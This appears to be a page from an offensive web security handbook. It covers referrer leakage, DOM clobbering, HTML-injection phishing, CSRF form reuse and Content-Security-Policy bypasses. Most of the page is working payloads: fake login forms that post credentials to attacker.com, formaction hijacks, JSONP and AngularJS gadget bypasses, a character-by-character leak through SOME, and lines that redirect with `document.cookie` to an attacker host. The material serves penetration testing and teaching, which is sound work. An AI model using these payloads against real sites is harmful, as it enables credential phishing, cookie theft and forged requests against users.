The [`Referer:`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referer) request header is sent by default for every request, containing the **url the request was sent from**. It means that something as simple as clicking a link going to an attacker from a target's domain, will leak the target's domain on which the link was clicked to the attacker.\
Well, that's how it *used to work*. Nowadays the defaults are more sensible, only sending the *origin* of the target instead of the full path and query parameters. This is controlled by the [`Referrer-Policy`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referrer-Policy).

{% hint style="info" %}
**Fun fact**: The name "referer" is actually a misspelling that made it irrecoverably deep into the specification. it leaves us with the situation where some references to it as spelled as "referer", while others say "referrer".
{% endhint %}

Query parameters can be very sensitive in situations like the ["OAuth dirty dance"](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/) technique, where you place the authorization code on a URL without using it, then leak it to use for yourself. Leakage through the `Referer:` header still has potential if you are able to **alter the referrer policy**.

The most straight-forward way would be to use a [CRLF / Header Injection](/web/client-side/crlf-header-injection) to set it as a header:

```http
Referrer-Policy: unsafe-url
```

This situation is unlikely though, something more common is the ability to insert limited HTML on a page. You can use this to alter the referrer policy using a [`<meta>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/meta) tag:

```html
<meta name="referrer" content="unsafe-url">
```

You'd now need to load any resource from an attacker's domain (like an `<img>`), and the whole current URL with parameters is sent to the attacker.\
When the CSP is in the way, a `<meta http-equiv="Refresh">` cannot be blocked:

<pre class="language-http" data-title="Redirecting response"><code class="lang-http">HTTP/1.1 200 OK
<strong>Content-Security-Policy: default-src 'none'
</strong>Content-Type: text/html

&#x3C;meta name="referrer" content="unsafe-url">
<strong>&#x3C;meta http-equiv="Refresh" content="0,url=https://example.com">
</strong></code></pre>

{% hint style="success" %}
Interestingly, the `<meta>` tag applies to the whole page, even during [`DOMParser.parseFromString()`](https://developer.mozilla.org/en-US/docs/Web/API/DOMParser/parseFromString) (without inserting into the DOM, [only on Chromium](https://issues.chromium.org/issues/40698594)). This means client-side sanitizers that use this parsing function will accidentally apply the referrer policy before it can be sanitized!

It allows a very simple way to leak the current URL through DOMPurify:

<pre class="language-html"><code class="lang-html"><strong>&#x3C;meta name="referrer" content="unsafe-url">
</strong>&#x3C;!-- Even though the above is sanitized away, it still applies to image that is left over -->
<strong>&#x3C;img src="https://attacker.com">
</strong></code></pre>

{% endhint %}

#### Attribute Injection

Individual elements can also be altered using the `referrerpolicy=` attribute. This is useful if you have an attacker-controlled resource:

```html
<img src="http://attacker.com" referrerpolicy="unsafe-url">
```

{% hint style="warning" %}
The `<meta>` tag and `referrerpolicy=` methods don't work on Firefox, as it denies less restricted policies via HTML for cross-site requests. Unless you are able to retrieve the Referer header from a same-site in any way, of course.
{% endhint %}

For more elements that request a certain URL and that you may control to send a referer to, check out the repository below with all known ways:

{% embed url="<https://github.com/cure53/HTTPLeaks/blob/main/leak.html>" %}
All known ways to send HTTP requests using markup
{% endembed %}

When cross-site connections to your attacker's server aren't allowed by a CSP, for example, you may be able to use an `<iframe>` with a `srcdoc=` or `src=data:`. This allows you to provide an inline document that will handle the request, and can read `document.referrer`.

<pre class="language-html" data-title="Examples" data-overflow="wrap"><code class="lang-html">&#x3C;!-- If you are able to inject this, you'll be same-origin with the parent anyway -->
<strong>&#x3C;iframe srcdoc="&#x3C;script>alert(document.referrer)&#x3C;/script>" referrerpolicy="unsafe-url">&#x3C;/iframe>
</strong>
&#x3C;!-- Even though data: normally gets a 'null' origin, it can still read referrer -->
<strong>&#x3C;iframe src="data:text/html,&#x3C;script>alert(document.referrer)&#x3C;/script>" referrerpolicy="unsafe-url">&#x3C;/iframe>
</strong></code></pre>

#### Link response header with preload (Chrome < 136)

This next trick was a Chrome bug shared by [@slonser 🐘](https://x.com/slonser_/status/1919439373986107814) *fixed in version 136*.\
The referrer policy for a preload request that you give in a `Link:` response header to any subresource that goes to your server, will be applied to the current documentt.

What this means is that all you need is for the target to load an `<img>` that points to your server, and you can return the following response header:

```http
Link: </leak>; rel=preload; as=image; referrerpolicy=unsafe-url
```

<figure><img src="/files/DfjanT6Y4QDmV5glkXGX" alt=""><figcaption><p>Exploit leaking referer from <a href="https://r.jtw.sh/">r.jtw.sh</a> image</p></figcaption></figure>

Above you can see an image being loaded cross-origin that responds with the mentioned `Link:` header. In the `/leak` requests that the preload asks for, the unsafe `referrerpolicy=` will be applied!

This works for **any subresource request** to an attacker's domain, including things like stylesheet `@import` or `@font-face` if the CSP blocks images.

<pre class="language-html"><code class="lang-html">&#x3C;style>
<strong>@import "https://attacker.com/link";  /* Required to be at the start of style tag */
</strong>
@font-face {
  font-family: "leak";
<strong>  src: url(https://attacker.com/link);  /* Works from anywhere */
</strong>}
* {
  font-family: leak;
}
&#x3C;/style>
</code></pre>

## DOM Clobbering

One idea is to use **DOM Clobbering**, which is a technique that uses `id`'s and other attributes of tags that make them accessible from JavaScript with the `document.<name>` syntax. The possibility of this depends on what sinks are available, and should be evaluated case-by-case:

{% embed url="<https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-clobbering>" %}
A simple reference with examples and tricks about DOM Clobbering ([more detail](https://domclob.xyz/))
{% endembed %}

{% embed url="<https://tib3rius.com/dom/>" %}
Cheat sheet on DOM Clobbering payload for various types of properties
{% endembed %}

This can commonly be used to **overwrite existing functions** and crash them, or **pollute element properties** during HTML sanitization ([example of `parentNode`](https://mizu.re/post/exploring-the-dompurify-library-bypasses-and-fixes#dom-Clobbering-issue) & [example of `attributes`](https://portswigger.net/web-security/dom-based/dom-clobbering#how-to-exploit-dom-clobbering-vulnerabilities)).

## Phishing

HTML is markup, so you can often use this to gain control over the page you are attacking in order to phish any users coming across it.

### Iframes

Combining an `<iframe>` with `<style>`, you can create a full-screen phishing page on the target domain, that may fool any user coming across it as the domain seems correct.

{% code title="Phishing " %}

```html
<iframe src="https://attacker.com"></iframe>
<style>
/* Make it take over the full screen, while still keeping a trusted address bar */
iframe {
    width: 100vw;
    height: 100vh;
    position: fixed;
    top: 0;
    left: 0;
    border: none;
}
</style>
```

{% endcode %}

Having your site iframes on a target also gives you a reference to it via `top`. Firstly, you can redirect the top-level page by setting its `location =`:

<pre class="language-html" data-title="Inside attacker&#x27;s frame"><code class="lang-html">&#x3C;script>
<strong>  top.location = "https://attacker-phishing.com"
</strong>&#x3C;/script>
</code></pre>

If your injection is stored, it can be pretty convincing to suddenly be brought to a phishing page of the same application while browsing said application.

It also allows you to trigger [`.postMessage()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) handlers for all kinds of exploitation. Read more details on the page below:

{% content-ref url="/pages/BPqAjXuzn7BmE0rGBTC3" %}
[postMessage Exploitation](/web/client-side/cross-site-scripting-xss/postmessage-exploitation)
{% endcontent-ref %}

### Forms

The previous phishing example is less likely to work on victims using a password manager, because the iframe is hosted on a different domain, it won't auto-complete like the user might be expecting. This can be improved by creating the phishing page natively inside your injection point.

Simply create a form with some inputs and a bunch of CSS (tip: re-use existing classes), recreating the real login page as closely as possible. But importantly, change the `action=` to your attacker's domain in order to receive the credentials. It may look something like this:

<pre class="language-html" data-title="Replace page with form"><code class="lang-html">&#x3C;div style="position: fixed; top: 0; left: 0; width: 100vw; height: 100vh;
            z-index: 999999; background: white">
  &#x3C;div class="d-flex flex-column h-100 justify-content-center align-items-center">
    &#x3C;h1>Login&#x3C;/h1>
<strong>    &#x3C;form action="https://attacker.com">
</strong>      &#x3C;input class="form-control" type="text" name="username" placeholder="Username..." autofocus>
      &#x3C;input class="form-control" type="text" name="password" placeholder="Password...">
      &#x3C;button class="btn btn-primary" type="submit">Submit&#x3C;/button>
    &#x3C;/form>
  &#x3C;/div>
&#x3C;/div>
</code></pre>

{% hint style="success" %}
Because this HTML is hosted on the target directly, password managers with auto-fill functionality will not know the difference between this and the real thing!

<img src="/files/EIO2LJIcWA1g1I0vz305" alt="" data-size="original">
{% endhint %}

Apart from leaking form inputs, you can also use forms to send specific requests form a trusted source. This can bypass checks like `SameSite=` cookies, the `Origin:` header or even CSRF tokens if JavaScript automatically adds them to any form on the page.

#### Rewrite form action from `<input>`

In rare cases it is possible to **hijack existing forms** to do what you want. For example, take the following source code and injection point, where we're able to add arguments:

<pre class="language-html"><code class="lang-html"><strong>&#x3C;form action="/login" method="post">
</strong>  &#x3C;input type="text" name="username">
  &#x3C;input type="text" name="password">
<strong>  &#x3C;button type="submit" class="INJECTION_HERE">Submit&#x3C;/button>
</strong>&#x3C;/form>
</code></pre>

An injection like `" formaction="https://attacker.com` would cause pressing the button to send credentials to `attacker.com` instead:

{% code title="Exploit" %}

```html
<button type="submit" class="" formaction="https://attacker.com">Submit</button>
```

{% endcode %}

#### CSRF form re-use

Another trick is to use the `form=` attribute to attach an `<input>` outside of any form to the form with that `id=`. If that **already has a CSRF token**, you can **add any values to it**, which will be trusted when submitting. To get more use out of it, you can add another button with relative `formaction=` that rewrites the destination, while retaining the CSRF token from the other form.

This effectively creates a perfect CSRF:

<pre class="language-html" data-title="Exploit"><code class="lang-html">&#x3C;form id="search-form" action="/search" method="post">
<strong>  &#x3C;input type="text" name="csrf" value="1337">
</strong>  &#x3C;input type="hidden" name="query" value="">
  &#x3C;button type="submit">Search&#x3C;/button>
&#x3C;/form>
&#x3C;!-- Injection: -->
<strong>&#x3C;input form="search-form" type="text" name="password" value="hacked">
</strong><strong>&#x3C;button form="search-form" formaction="/reset_password" type="submit" 
</strong><strong>        style="position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; 
</strong><strong>               z-index: 999999; opacity: 0">&#x3C;/button>
</strong></code></pre>

When clicking anywhere on the page, this sends a request like the following:

<pre class="language-http"><code class="lang-http"><strong>POST /reset_password HTTP/1.1
</strong>Host: target.com
Origin: https://target.com
Content-Type: application/x-www-form-urlencoded

<strong>csrf=1337&#x26;query=&#x26;password=hacked
</strong></code></pre>

{% hint style="info" %}
**Tip**: Some other useful attributes for the submit button are:

* [`formnovalidate=`](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/button#formnovalidate) to ignore validation rules, useful if the original form wasn't filled out completely.
* [`formmethod=`](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/button#formmethod) to change the method from GET to POST, for example.
* [`formenctype=`](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/button#formenctype) to use `multipart/form-data` or `text/plain` if needed. Unfortunately, still hard to create a valid JSON body with this.
* [`formtarget=`](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/button#formtarget) to redirect not the current top-level window, but an iframe with this `id=`, to hide the response of the form submission to the victim.
  {% endhint %}

Check out the page below for more details on exploitation of CSRF:

{% content-ref url="/pages/2ApDESbcGovoAqTtL1PY" %}
[Cross-Site Request Forgery (CSRF)](/web/client-side/cross-site-request-forgery-csrf)
{% endcontent-ref %}


# Content-Security-Policy (CSP)

The CSP response header restricts what resources are allowed to execute, but can sometimes be bypassed

## Description

A more modern protection against XSS and some other attacks is the [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP). This is a Header (`Content-Security-Policy:`) or `<meta>` value in a response that tells the browser what should be allowed, and what shouldn't. An important directive that can be set using this header is [`script-src`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src), defining where JavaScript code may come from:

{% code title="HTTP" %}

```http
Content-Security-Policy: script-src 'self' https://example.com/
```

{% endcode %}

{% code title="HTML" overflow="wrap" %}

```html
<meta http-equiv="Content-Security-Policy" 
      content="script-src 'self' https://example.com/">
```

{% endcode %}

You can always find the currently applied CSP by opening the DevTools in Chromium, then navigating to *Application* and scroll down to *top* in order to find all affecting headers or meta tags and their rules:

<figure><img src="/files/IpTK9xYXwWwpS68skzOm" alt="" width="563"><figcaption><p>Find Content Security Policy using DevTools to be sure</p></figcaption></figure>

With the above policy set, any `<script src=...>` that is *not* from the current domain or "example.com" will be blocked. When you explicitly set a policy like this it also disables inline scripts like `<script>alert()</script>` or event handlers like `<style onload=alert()>` from executing, even ones from the server itself as there is no way to differentiate between intended and malicious. This possibly breaking change where all scripts need to come from trusted URLs is sometimes "fixed" by adding a special [`'unsafe-inline'`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#unsafe_inline_script) string that allows inline script tags and event handlers to execute, which as the name suggests, is **very unsafe**.

A different less-common way to allow inline scripts without allowing *all* inline scripts is with **nonce**s, random values generated by the server. This nonce is put inside of the `script-src` directive like `'nonce-2726c7f26c'`, requiring every inline script to have a `nonce=` attribute equaling the specified random value. In theory, an attacker should not be able to predict this random value as it should be different for every request. This works in a similar way to CSRF tokens and relies on secure randomness by the server. If implemented well, this is a very effective way of preventing XSS.

The last important string in this directive is `'unsafe-eval'` which is disabled by default, blocking several functions that can execute code from a string:

* `eval()`
* `Function()`
* Passing a string to `setTimeout()`, `setInterval()` or `window.setImmediate()`\
  (for example: `setTimeout("alert()", 500)`)

Note however that this does not prevent all methods of executing code from a string. If `'unsafe-inline'` allows it, you can still write to the DOM with event handlers if required:

```javascript
document.body.setAttribute('onclick', 'alert(origin)')
document.body.click()
```

It also doesn't deny the `location =` sink, removing `'unsafe-inline'` is needed to prevent this:

```javascript
location = "javascript:alert(origin)"
```

To easily evaluate and find problems with a CSP header, you can use Google's CSP Evaluator which tells you for every directive what potential problems it finds:

{% embed url="<https://csp-evaluator.withgoogle.com/>" %}
Google's Content-Security-Policy evaluator showing potential issues
{% endembed %}

## Bypasses

### Unset header

If you have control over some part of the CSP header or another header that is set before it, inserting *special characters* may ignore the header.

[PHP](/languages/php) specifically will produce a **warning** if the CSP header contains a `\n` (newline):

> Header may not contain more than a single header, new line detected

PHP has another trick to do with buffering. Without any input into the header, **sending body content&#x20;*****before*** the [`header()`](https://www.php.net/manual/en/function.header.php) is set may trigger the "**headers already sent**" warning and ignores all following headers. Because in HTTP, headers must come before content.

In the Docker `php:apache` container, this is exploitable by default. By adding 1000 query parameters (`?x&x&x...`) to the URL, PHP will produce a warning even before the first line of source code is executed:

{% code title="Response (?x\&x\&x...)" overflow="wrap" %}

```html
<b>Warning</b>: PHP Request Startup: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini.
<br />
<b>Warning</b>: Cannot modify header information - headers arleady sent
```

{% endcode %}

Other configurations may also be, so it's worth a check if you encounter a PHP application (also goes for other security-relevant headers).

<https://x.com/pilvar222/status/1784619224670797947>

### Inject directives

In rare cases the application dynamically generates the Content-Security-Policy header with your input. The first check is if you can inject newlines for [CRLF / Header Injection](/web/client-side/crlf-header-injection), but otherwise, you'll have to inject into the header itself.

While *inside a directive*, you can add more things to only that specific directive, for example:

```http
Content-Security-Policy: script-src https://trusted.com/INPUT/script.js
```

{% code title="Exploit" %}

```http
Content-Security-Policy: script-src https://trusted.com/ 'unsafe-inline' /script.js
```

{% endcode %}

If your input is *after* a directive you want to bypass, you cannot overwrite it, only add stricter and stricter requirements. However, `style-src` and `script-src` have some uncommon variants named [`style-src-elem`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/style-src-elem) and [`script-src-elem`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/script-src-elem) which **give more permissions** to literal `<style>` or `<script>` tags instead of `style=` or `onerror=` attributes (these also have their variant, [`style-src-attr`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/style-src-attr) and [`script-src-attr`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/style-src-attr)).\
These are separate directives and thus give more permissions, setting these to `'unsafe-inline'` allows malicious payloads to execute again:

<pre class="language-http"><code class="lang-http"><strong>Content-Security-Policy: script-src 'none'; script-src-elem 'unsafe-inline'
</strong>Content-Type: text/html

&#x3C;script>alert(origin)&#x3C;/script>
</code></pre>

### Hosting JavaScript on `'self'`

The URLs and `'self'` trust all scripts coming from that domain, meaning in a secure environment no user data should be stored under those domains, like uploaded JavaScript files. If this is allowed, an attacker can simply upload and host their payload on an allowed website and it is suddenly trusted by the CSP.

{% code title="/uploads/payload.js" %}

```javascript
alert()
```

{% endcode %}

{% code title="Payload" %}

```html
<script src=/uploads/payload.js></script>
```

{% endcode %}

For more complex scenarios where you cannot directly upload `.js` files, the `Content-Type:` header comes into play. The browser decides based on this header if the requested file is likely to be a real script, and if the type is `image/png` for example, it will simply refuse to execute it:

<figure><img src="/files/AsBhaCayDYIp2uRvAL9n" alt="Refused to execute script from &#x27;http://localhost/uploads/image.png&#x27; because its MIME type (&#x27;image/png&#x27;) is not executable."><figcaption><p>Browser refusing to execute <code>image/png</code> file as JavaScript source</p></figcaption></figure>

Some more ambiguous types are allowed, however, like `text/plain`, `text/html` or **no type at all**. These are especially useful as commonly a framework will decide what `Content-Type` to add based on the file extension, which may be empty in some cases causing it to choose a type allowed for JavaScript execution. This ambiguity is prevented however with an extra\
`X-Content-Type-Options: nosniff` header that is sometimes set, making the detection from the browser a lot more strict and only allowing real `application/javascript` files ([full list](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc#50)).

An application may sanitize uploaded files by checking for a few signatures if it looks like a valid PNG, JPEG, GIF, etc. file which can limit exploitability as it still needs to be valid JavaScript code without `SyntaxError`s. In these cases, you can try to make a **"polyglot"** that passes the validation checks of the server, while remaining valid JavaScript by using the file format in a smart way and language features like comments to remove unwanted code.

Another idea instead of *storing* data, is **reflecting** data. If there is any page that generates a response you can turn into valid JavaScript code, you may be able to abuse it for your payload. [JSONP](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) or other callback endpoints are also useful here as they always have the correct `Content-Type`, and may allow you to insert arbitrary code in place of the `?callback=` parameter, serving as your reflection of valid JavaScript code.

### CDNs in `script-src`

Every domain in `script-src` is trusted with all URLs it hosts. Often an allowed domain hosts much more than just the few scripts imported by the application. We can abuse that by finding known vulnerable libraries or use specific behavior of the allowed domain to return arbitrary scripts.\
CDNs (Content Delivery Networks) are often used, and some tricks involving them will be shown below. Note however that the ideas apply to any other domain as well, as even if it's not well-known, you can find your own gadgets.

#### Proxy domains

CDNs have to host many different JavaScript files for libraries. Sometimes this is implemented by simply proxying every request to something like GitHub, where any user can create a repository and upload files. If an attacker would do this, and then reference their repository through the CDN, they could return arbitrary scripts.

Examples include [unpkg.com](https://www.unpkg.com/) and [cdn.jsdelivr.com](https://cdn.jsdelivr.net) which host **every file on NPM**, you'll just have to publish your payload there. [`csp-bypass`](https://www.npmjs.com/package/csp-bypass) is one such existing payload that executes a dynamic payload in any `csp=` attribute on any tag you inject next to it:

```html
Content-Security-Policy: script-src https://unpkg.com

<script src="https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js"></script>
<br csp="alert(origin)">
```

#### Known libraries

The [cdnjs.cloudflare.com](https://cdnjs.cloudflare.com) or [ajax.googleapis.com](https://ajax.googleapis.com/) domains host **only specific** popular libraries, which should be secure. Some older libraries still have exploitable features, however. The most well-known is **AngularJS**. This library searches for specific patterns in the DOM that can define event handlers without the regular inline syntax. This bypasses the CSP and can allow arbitrary JavaScript execution by loading such a library, and setting up your own malicious HTML content:

{% code title="AngularJS CSP Bypass" overflow="wrap" %}

```html
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script>
<div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin)">
```

{% endcode %}

#### JSONP

Lastly, the allowed domain may dynamically generate scripts. This sounds strange but it is surprisingly common in a pattern called [JSONP](https://en.wikipedia.org/wiki/JSONP). To return data, scripts would call a callback function that handles it. This callback function is controlled via a query parameter, which we can set to any function we want to call.\
If the function name isn't property sanitized, you can even insert whole XSS payloads in there like in the examples below:

```html
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(origin)"></script>
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(origin)"></script>
```

***

You can find lots of known gadgets on cspbypass.com:

{% embed url="<https://cspbypass.com/>" %}
Public list of Angular/JSONP gadgets for CSP Bypasses
{% endembed %}

See [#angularjs](#angularjs "mention") for more complex AngularJS injections that bypass sanitizers. Also, note that other frameworks such as [#vuejs](#vuejs "mention") or [#htmx](#htmx "mention") may allow similar bypasses if they are accessible when `unsafe-eval` is set in the CSP.

More **script gadgets** for different frameworks are shown in the presentation below. This includes:\
Knockout, Ajaxify, Bootstrap, Google Closure, RequireJS, Ember, jQuery, jQuery Mobile, Dojo Toolkit, underscore, Aurelia, Polymer 1.x, AngularJS 1.x and Ractive.

["Don't Trust the DOM: Bypassing XSS Mitigations via Script Gadgets"](https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf)

{% embed url="<https://github.com/google/security-research-pocs/blob/master/script-gadgets/bypasses.md>" %}
Table of bypasses and PoCs
{% endembed %}

Lastly, the following site collects more situational gadgets that abuse already loaded gadgets on your target that you can trigger without even loading a new script.

{% embed url="<https://gmsgadget.com/>" %}
List of generic gadgets in common libraries, mostly focused on HTML
{% endembed %}

### `.innerHTML` not executing `<script>`

One common problem is when you try to put a CSP bypass into a `.innerHTML` sink. The fact is the [`innerHTML` setter does not execute `<script>` tags](https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML#security_considerations), by definition.

<pre class="language-html"><code class="lang-html">&#x3C;body>&#x3C;/body>
&#x3C;script>
  // Doesn't work
<strong>  document.body.innerHTML = "&#x3C;script>alert(origin)&#x3C;\/script>";
</strong>&#x3C;/script>
</code></pre>

The solution for regular XSS is easy, just use anything other than a script tag such as an `onerror=` *event handler*:

```javascript
  // Works (but doesn't bypass CSP)
  document.body.innerHTML = "<img src onerror=alert(origin)>";
```

But what if we **need** a `<script src>` tag to load the vulnerable CSP gadget?\
`<iframe srcdoc>` comes to the rescue! **Wrapping your payload** **in `srcdoc=`** creates a new document, loading scripts again, which allows you to include any script gadgets ([source](https://blog.huli.tw/2022/08/21/en/corctf-2022-modern-blog-writeup/#self-script)). Note that you'll also need to put the rest of the HTML into this new document, otherwise AngularJS won't find it.

{% code title="Working payload" overflow="wrap" %}

```html
<iframe srcdoc='
  <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
  <div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin)">
'></iframe>
```

{% endcode %}

Afterward, if you want to grab anything from the top-level HTML just reference `parent.` or `top.`.

{% hint style="warning" %}
**Note**: `<script>` tags must always be closed using `</script>`, otherwise they don't execute either.
{% endhint %}

### Redirect to unrestricted path

URLs in a CSP may have a path, not only a domain. The following example provides a full URL to `base64.min.js`, and you would expect only that script could be loaded from the `cdn.js.cloudflare.com` origin.

{% code overflow="wrap" %}

```http
Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/ajax/libs/Base64/1.3.0/base64.min.js
```

{% endcode %}

This is not entirely true, however. If another origin, like `'self'` contains an **Open Redirect** vulnerability, you may redirect a script URL to any path on `cdnjs.cloudflare.com`!

{% embed url="<https://joaxcar.com/blog/2024/05/16/sandbox-iframe-xss-challenge-solution/>" %}
Challenge writeup involving CSP open redirect bypass
{% endembed %}

The following script would be allowed by the [CSP spec](https://www.w3.org/TR/CSP3/#source-list-paths-and-redirects), note that the `angular.js` path is not normally allowed, but it is through the redirect because its origin is allowed. This can be abused with some HTML that executes arbitrary JavaScript, even if `'unsafe-eval'` is not set:

<pre class="language-html" data-overflow="wrap"><code class="lang-html"><strong>&#x3C;script src="/redirect?url=https%3A%2F%2Fcdnjs.cloudflare.com%2Fajax%2Flibs%2Fangular.js%2F1.8.3%2Fangular.min.js">&#x3C;/script>
</strong>&#x3C;div ng-app>&#x3C;img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin)">
</code></pre>

### `strict-dynamic`

The [`strict-dynamic`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/script-src#strict-dynamic) directive allows trusted scripts to insert untrusted scripts via [`document.createElement("script")`](https://developer.mozilla.org/en-US/docs/Web/API/Document/createElement).

An example where this is dangerous is the **jQuery** library whose [`.html()`](https://api.jquery.com/html/) method scans for `<script>` tags and evaluates their content. Not using the `eval()` function, but by inserting the content as a new script tag in `document.head`. The [`domManip()`](https://github.com/jquery/jquery/blob/ec738b3190a3b67d08f51451e1faa15f1f4bf916/src/manipulation/domManip.js#L98) function is responsible for this.\
It means that any injection in jQuery can be exploited by simply providing an inline script instead of event handler:

```http
Content-Security-Policy: script-src 'nonce-NONCE' 'strict-dynamic'

<script src="https://code.jquery.com/jquery-3.7.1.js" nonce="NONCE"></script>
<body></body>
<script nonce="NONCE">
	$("body").html("<script>alert(origin)<\/script>")
</script>
```

Many more libraries have different ways they include remote/inline scripts allowing you to bypass `strict-dynamic`. Check <https://gmsgadget.com/#csp:strict-dynamic> for known gadgets.

### SOME attack

Not all callback parameters are equal. Most nowadays restrict the possible characters, so you should fuzz exactly what character are and aren't allowed.

In case only `[a-zA-Z.]` is allowed, arbitrary JavaScript is not possible. However, you can still access certain elements through properties and then call methods like [`.click()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/click) to submit forms. Even on other pages through `opener`. This is called the SOME attack, explained well on this site:

{% embed url="<https://someattack.com/Playground/About>" %}

Below is a generator script to find the property chain pointing to the currently selected element in the *Elements* DevTools tab. Run this in your *Console*.

```javascript
function some(node) {
  function getValidId(id) {
    return /^[A-Za-z0-9._]+$/.test(id) ? id : "";
  }
    
  let path = "";
  let stopAt = getValidId(node.id);

  while (node !== document.body && !stopAt) {
    if (!node.previousElementSibling) {
      node = node.parentElement;
      path = ".firstElementChild" + path;
    } else {
      node = node.previousElementSibling;
      path = ".nextElementSibling" + path;
    }
    stopAt = getValidId(node.id);
  }

  return (stopAt || "document.body") + path;
}
some($0)  // 'document.body.firstElementChild.firstElementChild.nextElementSibling.nextElementSibling.firstElementChild'
```

#### Indexing using `[]`

With `[` & `]` characters allowed, and nesting of them (like in Express [`res.jsonp()`](https://expressjs.com/en/api.html#res.jsonp)), another really powerful primitive becomes available: variable member access. With this you can program a tiny bit of logic in JavaScript to not only call a function, but call different functions depending on certain conditions.

One unintended solution by [@realansgar](https://bsky.app/profile/realansgar.dev) to the *idekCTF 2025 - jnotes* challenge was using a limited HTML injection to create a list of anchor tags with unique IDs:

```html
<a id="a" href="https://attacker.com/a" target="top">
<a id="b" href="https://attacker.com/b" target="top">
<a id="c" href="https://attacker.com/c" target="top">
...
```

Then, we can find some text we want to leak, and access it through common SOME techniques and `innerText` (note `children[42]` allows you to take some shortcuts). You can extract the first character of the text on the page you want to leak using `.innerText[0]`.\
Now the trick is, we can access `window[...]` with the character returned from this, and if it matches any `id=` of the `<a>` tags we created, we will have a reference to that specific link. Finally, executing the `.click()` method on that will visit the link, leaking the first character.

For example, let's say `body.children[0].textContent[0]` contains some sensitive information. We would inject all the anchor tags as above for all possible characters in this text, then add the following script tag to the exploit:

{% code overflow="wrap" %}

```python
<script src="/jsonp?callback=window[top.opener.document.body.children[0].textContent[0]].click">
```

{% endcode %}

This code will be evaluated as follows:

1. `window[top.opener.document.body.children[0].textContent[0]].click()`
2. `window['SECRET'[0]].click()`
3. `window['S'].click()`
4. `<a id="S" href="https://attacker.com/S">` is clicked
5. Browser navigates to <https://attacker.com/S>, first character is leaked to the attacker

Then simply continue for `.innerText[1]`, `.innerText[2]`, etc. until the whole string is leaked.

#### jQuery eval

If *jQuery* exists on the page and `$` & `_` are allowed (like in Express [`res.jsonp()`](https://expressjs.com/en/api.html#res.jsonp)), you can call [`$._evalUrl()`](https://github.com/jquery/jquery/blob/main/src/manipulation/_evalUrl.js) which evaluates the current page's content as JavaScript if there is no argument. It does so by **fetching the current** `location.href` and then putting its content in a `<script>` tag.\
It can be useful when:

1. You have a URL that returns valid JavaScript content, but with the wrong content type/nosniff
2. The URL can be turned into a jQuery-enabled page, for example, by sending a POST request to receive an error page (without changing the URL)
3. That page should have a more lax CSP that allows inline scripts or `strict-dynamic`

Using the SOME page, you'll be able to call `opener.$._evalUrl` to make it fetch itself with a GET request, which returns some malicious content, and then gets executed.

Note that this is a very specific technique where a lot of preconditions are required, but the same ideas may be able to be applied elsewhere.

### Exfiltrating with strict [`connect-src`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/connect-src)

This directive defines which hosts can be **connected to**, meaning if your attacker's server is not on the list, you cannot make a `fetch()` request like normal to your server in order to exfiltrate any data. While there is no direct bypass for this, you may be able to still connect to any origin **allowed** to exfiltrate data by *storing* it, and *later retrieving* it as the attacker at a place you can find. By [#forcing-requests-fetch](#forcing-requests-fetch "mention"), you could, for example, make a POST request that changes a profile picture, or some other public data, while embedding the data you want to exfiltrate. This way the policy is not broken, but the attacker can still find the data on the website itself.

With this technique, remember that even *one bit* of information is enough, as you can often *repeat* it to reveal a larger amount of information.

A more general bypass for this is to *redirect* the user fully using JavaScript, as browsers do not prevent this. Then in the URL, you put the data you want to exfiltrate to receive it in a request:

<pre class="language-javascript" data-overflow="wrap"><code class="lang-javascript">// Redirect via document.location:
<strong>location = `http://attacker.com/leak?${btoa(document.cookie)}`
</strong>// Redirect via &#x3C;meta> tag (only at start of page load):
<strong>document.write(`&#x3C;meta http-equiv="refresh" content="0; url=http://attacker.com/leak?${btoa(document.cookie)}">`)
</strong></code></pre>

